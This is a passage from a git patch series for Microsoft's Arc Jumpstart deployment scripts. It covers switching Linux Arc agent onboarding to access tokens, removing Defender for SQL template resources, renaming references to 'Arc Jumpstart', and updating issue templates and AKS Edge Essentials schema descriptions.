- # Set defender for cloud log analytics workspace - Write-Header "Updating Log Analytics workspacespace for defender for cloud for SQL Server" - az security workspace-setting create -n default --target-workspace $workspaceResourceID --only-show-errors - } - else { - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier)" - } - # Before deploying ArcBox SQL set resource group tag ArcSQLServerExtensionDeployment=Disabled to opt out of automatic SQL onboarding az tag create --resource-id "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup" --tags ArcSQLServerExtensionDeployment=Disabled From 86085e016e9af31ba32e5ba9cccf6b891a33a235 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 10:23:19 -0400 Subject: [PATCH 166/506] Update mgmtArtifacts.json --- .../ARM/mgmt/mgmtArtifacts.json | 22 +------------------ 1 file changed, 1 insertion(+), 21 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json index b0904e3b1d..5b6a8e1683 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json @@ -598,26 +598,6 @@ } ] } - }, - { - "type": "Microsoft.Security/pricings", - "apiVersion": "2024-01-01", - "name": "SqlServerVirtualMachines", - "properties": { - "pricingTier": "Standard" - } - }, - { - "type": "Microsoft.Security/workspaceSettings", - "apiVersion": "2017-08-01-preview", - "name": "default", - "properties": { - "workspaceId": "[concat('/subscriptions/', subscription().id, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.OperationalInsights/workspaces/', parameters('workspaceName'))]", - "scope": "[subscription().id]" - }, - "dependsOn": [ - "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" - ] - } + } ] } From 9e217dbe6bdaba8434e3dc0d71a17fa54b68ea49 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 12:56:55 -0400 Subject: [PATCH 167/506] Fixed Linux VM onboarding script --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 +++-- azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index a5d1659482..d9bbf2702f 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -380,8 +380,9 @@ if ($Env:flavor -ne "DevOps") { Copy-VMFile $Win2k19vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Copy-VMFile $Win2k22vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force - # Create appropriate onboard script to SQL VM depending on whether or not the Service Principal has permission to peroperly onboard it to Azure Arc - (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + # Update Linux VM onboarding script connect toAzure Arc, get new token as it might have been expired by the time execution reached this line. + $accessToken = (Get-AzAccessToken).Token + (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$accessToken', "'$accessToken'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index 8c4a2f3966..ae0ccdf743 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -14,7 +14,7 @@ bash ~/install_linux_azcmagent.sh # 2>/dev/null ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command -azcmagent connect --service-principal-id $spnClientId --service-principal-secret $spnClientSecret --resource-group $resourceGroup --tenant-id $spnTenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --tags "Project=jumpstart_arcbox" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" +azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $spnTenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --tags "Project=jumpstart_arcbox" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" # Configure the agent to allow connections on port 22 azcmagent config set incomingconnections.ports 22 \ No newline at end of file From 0d9890b42098a3cd61d59b84e3aa238c462d8398 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 19:54:12 -0400 Subject: [PATCH 168/506] Removed Full flavor references everywhere --- .github/ISSUE_TEMPLATE/bug_report.md | 1 - azure_jumpstart_arcbox/ARM/azuredeploy.json | 3 +-- .../ARM/azuredeploy.parameters.json | 2 +- .../ARM/azuredeploywithroleassignments.json | 3 +-- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 4 ++-- .../ARM/kubernetes/ubuntuCapi.json | 1 - .../ARM/mgmt/policyAzureArcBuiltins.json | 3 --- .../artifacts/ArcServersLogonScript.ps1 | 12 ++---------- .../artifacts/DeploymentStatus.ps1 | 2 +- azure_jumpstart_arcbox/bicep/main.parameters.json | 2 +- azure_jumpstart_arcbox/terraform/main.tf | 8 ++++---- .../terraform/modules/mgmt/mgmtArtifacts/main.tf | 2 +- .../terraform/modules/mgmt/mgmtPolicy/main.tf | 6 +++--- 13 files changed, 17 insertions(+), 32 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 6df1323bc9..2c80667c52 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -31,7 +31,6 @@ assignees: '' **Have you looked at the Troubleshooting and Logs section?** - + + +> **Note:** For ease of issues and pull requests management and tracking, we kindly ask you to provide a meaningful and concise title to this issue and answer all questions to the best of your ability. + **Is your issue related to a Jumpstart scenario, ArcBox, HCIBox, or Agora?** @@ -37,6 +40,7 @@ assignees: '' - [Jumpstart ArcBox for DataOps troubleshooting](https://azurearcjumpstart.com/azure_jumpstart_arcbox/DataOps#basic-troubleshooting) - [HCIBox troubleshooting](https://azurearcjumpstart.com/azure_jumpstart_hcibox/getting_started#basic-troubleshooting) - [Agora - Contoso Supermarket troubleshooting](https://azurearcjumpstart.com/azure_jumpstart_ag/retail/contoso_supermarket/troubleshooting) +- [Agora - Contoso Motors troubleshooting](https://arcjumpstart.com/azure_jumpstart_ag/manufacturing/contoso_motors/troubleshooting) ---> **Screenshots** diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md index d4c6fce7ed..224f83547f 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -6,10 +6,12 @@ labels: '' assignees: '' --- - + + +> **Note:** For ease of issues and pull requests management and tracking, we kindly ask you to provide a meaningful and concise title to this feature request and answer all questions to the best of your ability. **Is your feature request related to a new Jumpstart scenario you would like to contribute?** - + **Is your feature request related to a problem? Please describe.** From f3ee0ce8fa2248c24daa996bd9871ccc772012d7 Mon Sep 17 00:00:00 2001 From: Lior Kamrat Date: Tue, 30 Jul 2024 21:55:12 -0700 Subject: [PATCH 361/506] optimize gh templates --- .github/policies/issues.yml | 4 ++-- .github/policies/pullrequests.yml | 4 ++-- README.md | 2 +- .../aks/ARM/artifacts/deployAppService.ps1 | 2 +- .../logicAppCode/CreateBlobFromQueueMessage/workflow.json | 2 +- .../cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 | 2 +- .../logicAppCode/CreateBlobFromQueueMessage/workflow.json | 2 +- azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh | 2 +- .../aks/gitops/helm/az_k8sconfig_helm_aks.sh | 2 +- .../cluster_api/gitops/basic/az_k8sconfig_capi.sh | 2 +- .../cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh | 2 +- azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh | 2 +- .../gke/gitops/helm/az_k8sconfig_helm_gke.sh | 2 +- .../microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh | 2 +- .../gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 | 2 +- azure_jumpstart_ag/retail/scripts/postprovision.ps1 | 2 +- 16 files changed, 18 insertions(+), 18 deletions(-) diff --git a/.github/policies/issues.yml b/.github/policies/issues.yml index 76faa28698..8abdf57aa5 100644 --- a/.github/policies/issues.yml +++ b/.github/policies/issues.yml @@ -1,5 +1,5 @@ name: Housekeeping - Issues management -description: Azure Arc Jumpstart management of issues using GitHub Policies +description: Arc Jumpstart management of issues using GitHub Policies owner: resource: repository disabled: false @@ -61,7 +61,7 @@ configuration: action: Opened then: - addReply: - reply: 'Hi ${issueAuthor}! Thank you for opening this issue. We appreciate your contribution and welcome you to our community! We are glad to have you here and to have your input on the Azure Arc Jumpstart.' + reply: 'Hi ${issueAuthor}! Thank you for opening this issue. We appreciate your contribution and welcome you to our community! We are glad to have you here and to have your input on the Arc Jumpstart.' description: - if: - payloadType: Issue_Comment diff --git a/.github/policies/pullrequests.yml b/.github/policies/pullrequests.yml index f33b183f93..45bac05086 100644 --- a/.github/policies/pullrequests.yml +++ b/.github/policies/pullrequests.yml @@ -1,5 +1,5 @@ name: Housekeeping - PRs management -description: Azure Arc Jumpstart management of PRs using GitHub Policies +description: Arc Jumpstart management of PRs using GitHub Policies owner: resource: repository disabled: false @@ -60,7 +60,7 @@ configuration: action: Opened then: - addReply: - reply: 'Hi ${issueAuthor}! Thank you for opening this Pull Request. Someone will review it soon. Thank you for committing to making the Azure Arc Jumpstart better.' + reply: 'Hi ${issueAuthor}! Thank you for opening this Pull Request. Someone will review it soon. Thank you for committing to making the Arc Jumpstart better.' description: - if: - payloadType: Pull_Request_Review diff --git a/README.md b/README.md index b8a36d38fc..316dba9c9d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Azure Arc Jumpstart source code +# Arc Jumpstart source code Welcome to the Arc Jumpstart source code repository! This repository is your go-to resource for working with and contributing to the Arc Jumpstart automation scripts and tools and acts as the backend source code repository which complements our [documentation repository](https://github.com/Azure/arc_jumpstart_docs) that eventually populates the [Arc Jumpstart](https://aka.ms/arcjumpstart) website. diff --git a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 index a28047d478..fcf497b3e4 100644 --- a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 +++ b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 @@ -7,7 +7,7 @@ $customLocationId = $(az customlocation show --name "jumpstart-cl" --resource-gr az appservice plan create --resource-group $Env:resourceGroup --name Jumpstart --custom-location $customLocationId --per-site-scaling --is-linux --sku K1 Write-Host "`n" -Write-Host "Deploy a sample Azure Arc Jumpstart web application" +Write-Host "Deploy a sample Arc Jumpstart web application" Write-Host "`n" az webapp create --plan Jumpstart --resource-group $Env:resourceGroup --name jumpstart-app --custom-location $customLocationId --deployment-container-image-name azurearcjumpstart.azurecr.io/hello-arc:latest az webapp config appsettings set --resource-group $Env:resourceGroup --name jumpstart-app --settings WEBSITES_PORT=8080 \ No newline at end of file diff --git a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json index dbecdd9340..fb94944133 100644 --- a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json +++ b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json @@ -11,7 +11,7 @@ } }, "method": "post", - "body": "Azure Arc Jumpstart is amazing!", + "body": "Arc Jumpstart is amazing!", "headers": { "ReadFileMetadataFromServer": true }, diff --git a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 index 1e87418140..7e9f6f09f9 100644 --- a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 +++ b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 @@ -7,7 +7,7 @@ $customLocationId = $(az customlocation show --name "$Env:capiArcAppClusterName- az appservice plan create --resource-group $Env:resourceGroup --name Jumpstart --custom-location $customLocationId --per-site-scaling --is-linux --sku K1 Write-Host "`n" -Write-Host "Deploy a sample Azure Arc Jumpstart web application" +Write-Host "Deploy a sample Arc Jumpstart web application" Write-Host "`n" az webapp create --plan Jumpstart --resource-group $Env:resourceGroup --name jumpstart-app --custom-location $customLocationId --deployment-container-image-name azurearcjumpstart.azurecr.io/hello-arc:latest az webapp config appsettings set --resource-group $Env:resourceGroup --name jumpstart-app --settings WEBSITES_PORT=8080 \ No newline at end of file diff --git a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json index dbecdd9340..fb94944133 100644 --- a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json +++ b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json @@ -11,7 +11,7 @@ } }, "method": "post", - "body": "Azure Arc Jumpstart is amazing!", + "body": "Arc Jumpstart is amazing!", "headers": { "ReadFileMetadataFromServer": true }, diff --git a/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh b/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh index 5fc1016c33..1b7173841d 100755 --- a/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh +++ b/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Getting AKS credentials diff --git a/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh b/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh index 7adbebdd91..65f706d368 100755 --- a/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh +++ b/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh b/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh index cbf809d6e3..08e457a9f4 100644 --- a/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh +++ b/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh b/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh index 60f7b08814..a623f4fbd8 100644 --- a/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh +++ b/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh b/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh index 02076d5bbe..fca71def63 100755 --- a/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh +++ b/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh @@ -6,7 +6,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Installing Helm 3 diff --git a/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh b/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh index 6372716bb0..a8119146e5 100755 --- a/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh +++ b/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh index c812a62017..ae1de49d2b 100644 --- a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh +++ b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Logging in to Azure using service principal diff --git a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 index 2e75226eec..a88b86dd9b 100644 --- a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 +++ b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 @@ -6,7 +6,7 @@ $password="" $tenantId="" $resourceGroup="" $arcClusterName="" -$appClonedRepo="" +$appClonedRepo="" $namespace='hello-arc' # Logging in to Azure using service principal diff --git a/azure_jumpstart_ag/retail/scripts/postprovision.ps1 b/azure_jumpstart_ag/retail/scripts/postprovision.ps1 index 42cd280bc6..08698e13d0 100644 --- a/azure_jumpstart_ag/retail/scripts/postprovision.ps1 +++ b/azure_jumpstart_ag/retail/scripts/postprovision.ps1 @@ -7,7 +7,7 @@ if ($null -ne $env:AZURE_RESOURCE_GROUP){ # This section is for testing only $resourceGroup = "charris-js-ag-43-rg" $adxClusterName = "agadx2827a" - Get-AzSubscription -SubscriptionName "Azure Arc Jumpstart Subscription" | Select-AzSubscription + Get-AzSubscription -SubscriptionName "Arc Jumpstart Subscription" | Select-AzSubscription } ######################################################################## From 0b3bbedd9aa634c6d03dd703e35cb78feed0cc18 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 31 Jul 2024 01:34:55 -0400 Subject: [PATCH 362/506] fix version typo --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index d2223cd3f2..1fab57bd47 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -32,7 +32,7 @@ sed -i '9s/^/export storageContainerName=/' vars.sh sed -i '10s/^/export k3sControlPlane=/' vars.sh # Set k3 deployment variables -export K3S_VERSION="v1.29.6+k3s2" # Do not change! +export K3S_VERSION="1.29.6+k3s2" # Do not change! chmod +x vars.sh . ./vars.sh From eaa0526b4f76d30180f0eaed946a8ca7cd27b65e Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 08:50:48 +0300 Subject: [PATCH 363/506] Update AKS Edge Essentials schema version to 1.13 --- .../aks_edge_essentials_full/bicep_template/main.bicep | 2 +- .../aks_edge_essentials_full_akri/bicep_template/main.bicep | 2 +- .../aks_edge_essentials_single/arm_template/azuredeploy.json | 2 +- .../arm_template/azuredeploy.json | 2 +- azure_jumpstart_ag/manufacturing/bicep/main.bicep | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep index 2a61a07acc..333f517c89 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep @@ -42,7 +42,7 @@ param subnetNameCloud string = 'AKS-EE-Full-Subnet' @description('AKS Edge Essentials Kubernetes distribution') param kubernetesDistribution string -@description('''The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing. +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. ''') param AKSEEPinnedSchemaVersion string = '1.13' diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep index f02e57e4be..9c90aa1ae1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep @@ -42,7 +42,7 @@ param subnetNameCloud string = 'AKS-EE-Full-Subnet' @description('AKS Edge Essentials Kubernetes distribution') param kubernetesDistribution string -@description('''The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing. +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. ''') param AKSEEPinnedSchemaVersion string = '1.13' diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json index fc289333f5..6cf8d1f8dd 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json @@ -144,7 +144,7 @@ "type": "string", "defaultValue": "1.13", "metadata": { - "description": "The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" + "description": "The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" } } }, diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json index 70aa2215e8..5119b87a30 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json @@ -144,7 +144,7 @@ "type": "string", "defaultValue": "1.13", "metadata": { - "description": "The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" + "description": "The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" } } }, diff --git a/azure_jumpstart_ag/manufacturing/bicep/main.bicep b/azure_jumpstart_ag/manufacturing/bicep/main.bicep index c52e2d7f3f..0945d98768 100644 --- a/azure_jumpstart_ag/manufacturing/bicep/main.bicep +++ b/azure_jumpstart_ag/manufacturing/bicep/main.bicep @@ -92,7 +92,7 @@ param rdpPort string = '3389' @description('The agora industry to be deployed') param industry string = 'manufacturing' -@description('''The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing. +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. ''') param AKSEEPinnedSchemaVersion string = '1.13' From 935eea4b7a147ebf03e7c8094d62e4754210c7f5 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 08:53:34 +0300 Subject: [PATCH 364/506] chore: Update AKS Edge Essentials schema version to 1.13 --- .../bicep_template/clientVm/clientVm.bicep | 2 +- .../bicep_template/clientVm/clientVm.bicep | 2 +- .../manufacturing/bicep/clientVm/clientVm.bicep | 2 +- azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_ag/retail/bicep/main.bicep | 6 ++++++ 5 files changed, 13 insertions(+), 4 deletions(-) diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep index 3804282538..37d329c5d1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep @@ -50,7 +50,7 @@ param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'main' -@description('The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing.') +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') param AKSEEPinnedSchemaVersion string = 'useLatest' var encodedPassword = base64(windowsAdminPassword) diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep index 3804282538..37d329c5d1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep @@ -50,7 +50,7 @@ param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'main' -@description('The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing.') +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') param AKSEEPinnedSchemaVersion string = 'useLatest' var encodedPassword = base64(windowsAdminPassword) diff --git a/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep b/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep index b02be1f795..fb4816bd52 100644 --- a/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep @@ -85,7 +85,7 @@ param customLocationRPOID string @description('The agora industry to be deployed') param industry string = 'retail' -@description('The AKSEE schema version to be used. This is only used to pin the AKSEE schema version for testing.') +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') param AKSEEPinnedSchemaVersion string = 'useLatest' var encodedPassword = base64(windowsAdminPassword) diff --git a/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep b/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep index 5892caa99f..a7bf32626b 100644 --- a/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep +++ 